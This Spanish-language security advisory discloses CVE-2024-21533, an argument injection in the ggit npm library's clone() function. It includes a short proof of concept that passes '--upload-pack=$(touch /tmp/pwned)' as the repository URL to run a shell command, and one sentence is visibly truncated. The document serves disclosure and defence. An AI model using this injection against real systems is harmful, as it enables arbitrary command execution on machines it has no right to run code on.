Vulnerabilidad de inyección de argumentos CVE-2024-21533 en ggit

ggit se describe a sí mismo como:

Envoltorios de comandos git locales basados en promesas

Recursos:

• Código fuente del proyecto en GitHub: https://github.com/bahmutov/ggit
• Paquete npm del proyecto: https://www.npmjs.com/package/ggit

Artículo de análisis sobre esta vulnerabilidad de inyección de argumentos: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

Contexto sobre la explotación

Reporto una vulnerabilidad de Inyección de Argumentos en el paquete npm ggit.

Esta vulnerabilidad se manifiesta con la API clone() de la librería, que permite especificar la URL remota para clonar y el archivo en disco donde clonar. Sin embargo, la librería no sanitiza la entrada del usuario ni valida el esquema de una URL determinada, ni pasa adecuadamente las banderas de línea de comandos al binario git utilizando los caracteres POSIX de doble guion (--) para indicar el fin de las opciones.

Por lo tanto, permite a los usuarios explotar una vulnerabilidad de inyección de argumentos en Git debido a la opción de línea de comandos --upload-pack que resulta en la ejecución de comandos arbitrarios. (outPath) para clonarlo, entonces la vulnerabilidad aplica.

Exploit

1. Instalar [email protected] o anterior
2. Establecer el siguiente PoC:

const clone = require("ggit").cloneRepo;
clone({
  url: "--upload-pack=$(touch /tmp/pwned)",
  folder: "/tmp/dbd",
}).then(function () {
  console.log("cloned repo to destination folder");
});

3. Observar un nuevo archivo creado en disco en /tmp/pwned

Contribuciones

Por favor, consulta CONTRIBUTING para las pautas sobre cómo contribuir a este proyecto.

Autor

Liran Tal